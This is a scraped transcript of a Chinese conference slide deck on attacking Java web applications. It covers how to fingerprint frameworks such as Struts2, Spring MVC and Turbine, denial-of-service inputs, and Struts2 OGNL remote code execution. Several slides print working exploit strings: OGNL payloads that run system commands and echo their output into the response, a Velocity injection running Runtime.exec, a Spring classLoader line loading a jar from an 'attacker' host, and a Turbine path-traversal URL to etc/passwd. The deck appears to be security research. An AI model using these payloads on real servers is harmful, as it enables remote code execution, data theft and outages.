攻击 java web

Post on 23-Feb-2016

169 Views

Category:

Documents

16 Downloads

Preview:

Click to see full reader

DESCRIPTION

攻击 JAVA WEB. 阿里巴巴 集团安全中心 周拓. 个人介绍. 周拓 阿里巴巴集团安全中心 网名:空虚浪子心、 kxlzx QQ : 4700012 (&EMAIL) 个人 BLOG : http://www.inbreak.net 微 博 : http://t.qq.com/javasecurity. 适合听众. 实战派攻击技术爱好者 WEB 安全 攻城狮 JAVA 开发 安全扫描工具开发人员 理论派研究人员 默认大家已经掌握一些相关基础技术. JAVA WEB. JSP Servlet. JAVA WEB. J2EE 处理用户请求框架 - PowerPoint PPT Presentation

TRANSCRIPT

攻击 JAVA WEB阿里巴巴集团安全中心 周拓

2

个人介绍• 周拓• 阿里巴巴集团安全中心• 网名:空虚浪子心、 kxlzx• QQ : 4700012 (&EMAIL)• 个人 BLOG : http://www.inbreak.n

et• 微博: http://t.qq.com/javasecurity

3

适合听众• 实战派攻击技术爱好者• WEB 安全攻城狮• JAVA 开发• 安全扫描工具开发人员• 理论派研究人员• 默认大家已经掌握一些相关基础技术

4

JAVA WEB

• JSP• Servlet

5

JAVA WEB

• J2EE 处理用户请求框架• J2EE ORM 框架• J2EE 展示层框架• AJAX 框架

6

JAVA WEBSTRUTS2 、 spring

mvc 、 turbine 、 JSF 、 DWR…etc

USERaction1 action2 action3

Velocity 、 freemarker 、 JSP

template1 template2

7

开始之前• 任何攻击技术,技术本身都是有限的• 不讲 SQL INJECTION• 不讲业务逻辑• 现在,我们打开了一个 JAVA 网站

8

框架指纹的手工确认• 架构师的故事• 黑客的思路

9

默认扩展名• 扩展名“ *.action”• 扩展名“ *.do ”• 扩展名“ *.form ”• 扩展名“ *.vm”• 扩展名“ *.jsf ”

10

扩展名“ *.action”

• 判断为 struts2 或 webwork ,得分:90%

• http://www.inbreak.net/index.action

• 官方 DEMO• 各种教程书籍

11

扩展名为“ *.do”

• 判断为 spring mvc 得分 50%• http://www.inbreak.net/

index.do• 方向性判断• 官方文档• 教程• 还有很多其他框架( struts1 等)

12

URL 路径“ /action/xxxx”

• 判断为 struts2 得分 70%• http://www.inbreak.net/

action/index• 官方手册• 结合 response 的 server 字段

13

扩展名为“ *.form”

• 看到一个表单 判断为 spring mvc 得分 70%• 官方手册推荐• .NET 偶尔也用

14

扩展名“ *.vm”

• 判断为 VelocityViewServlet 分值90%

• Velocity• Velocity tools• 教程– Turbine 、 Struts2 、 spring mvc 都可能使用

15

扩展名“ *.jsf ”

• Java Server Faces 得分 99%

16

参数处理方式 目录• Struts2 对 string 类型参数处理• 一个参数,直接显示错误页面• spring mvc 有个怪习惯

17

Struts2 string 类型参数处理• 《 struts2 框架安全缺陷》• 《 HTTP Parameter Pollution 》• ?

username=aaa&username=bbb

• <input value="aaa, bbb" name="username" type="text" />

• 得分 95%

18

一个参数,变错误页面• 所有的用户定义 Action 都继承这个类• Action 中的 setter 方法

ActionSupport

action1

19

一个参数,变错误页面• ActionSupport 验证逻辑

20

一个参数,变错误页面• ?actionErrors=aaaaaaaaaa

100% 确认, struts2 框架

21

spring mvc 有个怪习惯• spring mvc• Spring tag lib• checkbox<form:form>

<form:checkbox path="favorites" value="1"/>computer </form:form>

22

spring mvc 有个怪习惯• <input id="favorites1"

name="favorites" type="checkbox" value="1"/><input type="hidden" name="_favorites" value="on"/>computer

90% 确认, spring mvc

23

spring mvc 有个怪习惯• EXAMPLE

默认 URL 处理逻辑• url mapping 处理用户请求的框架

USERaction1 action2 action3

template1 template224

25

turbine 框架的逗号们• templates/pubinfo/infopub/

businpub.html

26

turbine 框架的逗号们• turbine/template/

pubinfo,infopub,businpub.html• Turbine• Template• 逗号• turbine 框架,分值 90%

27

Struts2 的叹号们public class TestAction extends ActionSupport { 

public String adduser(){return SUCCESS;

}}

28

Struts2 的叹号们• http://www.inbreak.net/test.action• http://xxx/test!adduser.action

• 分值 95%

29

默认开发命名• /xxxController• /xxxController.do• /controller/xxx.htm• Spring mvc 50% 分值

30

所有框架指纹• 让它出错• 500 错误• 404 错误• 100% 的确认框架

31

参数类型错误• 数字,日期 变为 string• http://www.polyplastics.com/v/n?

i=933&l=03&s=1

33

业务逻辑错误• https://www.cibil.com/online/

manageCustomerDetails.do?• action=showAddPaymentPage

34

业务逻辑错误• action=showAddPyy7aymentPage

Action[/XXXXX] does not contain method named YYYYY

35

文件名错误• http://eoweb.dlr.de:8080/

servlets/template/welcome/entryPage.vm

36

万能 google

• 命名空间• google 搜索“ com.netease”

37

万能 google

38

环境的影响• 不断的招聘开发者• 推荐框架、主要框架• 离职可以立刻接手• 加分项

39

可能的位置• Struts2• 静态资源映射• Directory traversal vulnerability• 《 Struts2 框架安全缺陷》• “struts” 、或“ static” 开头

40

其他地方• 开发人员的 blog• 内部论坛对外

41

框架指纹章节• Q&A ?

42

有多少拒绝服务 目录• java 浮点漏洞• Tomcat transfer-encoding:

buffered• Hash 碰撞

43

java 浮点漏洞• 网上交易

44

Struts2 DOS 漏洞• http://www.inbreak.net/app/

secTest.action?new java.lang.Double(2.2250738585072012e-308)

45

Struts2 DOS 漏洞• new

java.lang.Double(0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000022250738585072012)

46

Struts2 DOS 漏洞• 仅仅是技术讨论• 不适合实战• 直接拿 CVE-2011-3923 杀过去

47

spring mvc dos• Message=${applicationScope}• EL 表达式• index.htm?

message=${0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000022250738585072012}

48

邪恶的 JAVA HASH DOS 攻击• JSON OBJECT 拒绝服务• url?

var={“aaaaa”:”bbbbb”,”ccccc”:”ddddd”}

49

DWR 框架 DOS 攻击• C0-pram0=Object_Object:

{id:reference:c0-e2, address:reference:c0-e3,………..etc..}

50

有多少拒绝服务章节• Q & A

51

鸡肋变绝杀• 提高漏洞的发现率• 本地变远程

52

提高 struts2 自定的页面漏洞的发现率• 《 struts2 框架安全缺陷》• Struts2 的那些 result 类型缺陷(自定的页面)

<result name="testloadfilepath">${testloadfilepath}</result>

53

提高 struts2 自定的页面漏洞的发现率• 某次看到一个用户登录系统• Inputpage=xxxx.jsp• Input 错误处理结果• Inputpage 错误处理之后 ( 一般是重新提交 )• Jsp,vm…etc

54

Struts2 XSLT 本地代码执行

55

velocity 本地代码执行(没有报告)• 上传 JPG• #set ($exec = "kxlzx")• $exec.class.forName("java.lang.Run

time").getRuntime().exec("calc")• showcase/context.vm?layout=../

z.gif

56

Velocity 远程代码执行• resin 服务器• log/access.log

57

Velocity 远程代码执行• log/access.log

58

鸡肋变绝杀章节• Q & A

59

从 alert 到完美和谐的shellcode 目录

• ( CVE-2011-3923 )的局限• shellcode 无法回显–回显研究 1 (背后的技术)–回显研究 2 (背后的技术)–回显研究 3 (感谢wofeiwo 提醒)

60

struts2 远程代码执行的局限• http://www.inbreak.net/

foo.action?foo=aaaaaaaaaaaaaapublic class FooAction { private String foo; public String execute() { return "success"; } public String getFoo() { return foo; } public void setFoo(String foo) { this.foo = foo; }}

61

struts2 远程代码执行的局限• /action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true

62

struts2 远程代码执行的局限• Spring mvc 远程代码执行 POC• class.classLoader.URLs[0]=jar:http://

attacker/spring-exploit.jar!/• org.apache.catalina.loader.WebappCla

ssLoader• URLs Url• jarPath String

63

struts2 远程代码执行的局限• http://www.inbreak.net/t1.action?class.classLoader.jarPath=(XXXX,@java.lang.Runtime@getRuntime().exec('calc'))(meh)&(class.classLoader.jarPath)(0)=false

64

回显研究 1 (背后的技术)• 执行结果出现在输入框

65

回显研究 1 (背后的技术)• (foo\u003d(@ognl.Ognl@getValue("\u0023a\

u003d@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream()\u002c\u0023b\u003dnew java.io.InputStreamReader(\u0023a)\u002c\u0023c\u003dnew java.io.BufferedReader(\u0023b)\u002c\u0023d\u003d\u0023c.readLine()\u002c\u0023d\u003d\u0023d\u002b\u0023c.readLine()\u002b'\n'\u002c\u0023d\u003d\u0023d\u002b\u0023c.readLine()\u002b'\n'\u002c\u0023d\u003d\u0023d\u002b\u0023c.readLine()\u002b'\n'\u002c\u0023d\u003d\u0023d\u002b\u0023c.readLine()\u002b'\n'\u0023d\u003d\u0023d\u002b\u0023c.readLine()"\u002c@ognl.Ognl@createDefaultContext(null)\u002c""\u002c@java.lang.String@class)))=1

66

回显研究 1 (背后的技术)• 执行结果

67

回显研究 2 (背后的技术)• t1!getFoo.action?foo=aaa

68

回显研究 2 (背后的技术)• t1!getFoo.actionpublic String getFoo() {

return foo;}

<action name="t1" class="testve.T1"><result name="success">/T1.jsp</result>

</action>

69

回显研究 2 (背后的技术)• t1!getFoo.action?foo=aaa

70

回显研究 2 (背后的技术)

71

回显研究 2 (背后的技术)• 只有在看到错误信息时,才可以用• 不需要 input• Action 中有一个 string 类型的变量

72

回显研究 3 (感谢wofeiwo 提醒)(\u0023a\u003d@java.lang.Runtime@getRuntime().exec('netstat').getInputStream()\u002c\u0023b\u003dnew java.io.InputStreamReader(\u0023a)\u002c\u0023c\u003dnew java.io.BufferedReader(\u0023b)\u002c\u0023kxlzx\u003d@org.apache.struts2.ServletActionContext@getResponse().getWriter()\u002c\u0023kxlzx.println(\u0023c.readLine())\u002c\u0023kxlzx.close())=1

73

回显研究 3 流程

74

75

回显研究 3 流程• response输出流• 立刻关闭• struts2 的 OGNL 远程代码执行

76

写教程让那群傻 X跟着做• 网吧 DDOS• linux连接客户端,中文版被植入后门• 为什么大家会下载

中文版

77

写教程让那群傻 X跟着做• 翻译• 教程• 傻瓜化

78

jboss 漏洞的中文版• 使用浏览器攻击 JBOSS

79

jboss 漏洞的中文版• 删除 jmx-console• 删除web-console

80

jboss 漏洞的中文版

81

jboss 漏洞的中文版• 所有的中文版修补方案,都没有提到

82

jboss 漏洞的中文版

83

Struts2 远程代码执行• Struts2 远程代码执行技术( xwork2.1.2 以上)• Struts2 远程代码执行技术( xwork1.0.3 )• Atlassian Confluence 远程代码执行漏洞

84

Struts2 远程代码执行技术( xwork2.1.2 )• xwork2.1.2

85

Struts2 远程代码执行( xwork2.1.2 )• Result "location" parameter

should evaluate %{expr}<action name="redirect" class="TestRedirectAction"> <result name="redirect" type="redirect">${redirectUrl}</result></action>

<action name="redirect" class="TestRedirectAction"> <result name="redirect" type="redirect">%{redirectUrl}</result></action>

86

Struts2 远程代码执行技术( xwork2.1.2 ) public static String translateVariables(String expression, ValueStack stack) { return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString(); }

public static Object translateVariables( 参数省略 ) {Object result = expression;for (char open : openChars) { while (true) {。。。 String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType);

${expr1}

%{expr2}

%{expr2}

87

Struts2 远程代码执行( xwork2.1.2 )• SHOWCASE

<action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save"> <result type="redirect">edit.action?skillName=${currentSkill.name}</result> </action>

88

Struts2 远程代码执行( xwork2.1.2 )• Xwork1.0.3

${${exp}}

89

Struts2 远程代码执行( xwork1.0.3 )• url?currentSkill.name=${expr}

90

Atlassian Confluence 远程代码执行• https://cwiki.apache.org/

confluence/login.action• Atlassian\Confluence\confluence\

WEB-INF\lib\xwork-1.0.3.2.jar

91

Atlassian Confluence 远程代码执行

92

Struts2 远程代码执行技术• Q & A

93

预见未来

94

预见未来• 预测• 未来会出现一个远程代码执行漏洞• 我现在连 EXP 都写好了• 重要的是,现在它还没有这个漏洞

95

预见未来• Turbine• http://www.inbreak.net/my/

turbine/template/pubinfo,infopub,businpub.html

• http://www.inbreak.net/my/turbine/template/?template=pubinfo,infopub,businpub.html

• http://www.inbreak.net/my/turbine/template/?template=pubinfo,..,..,..,..,..,etc,passwd

96

预见未来• indexof

97

Indexof获取扩展名• ,..,..,..,..,..,etc,passwd.htm

98

我提交了一个 BUG

99

预见未来• 使用前

100

预见未来• 使用后

101

预见未来• 请大家一起见证

102

Q & A

• thanks

top related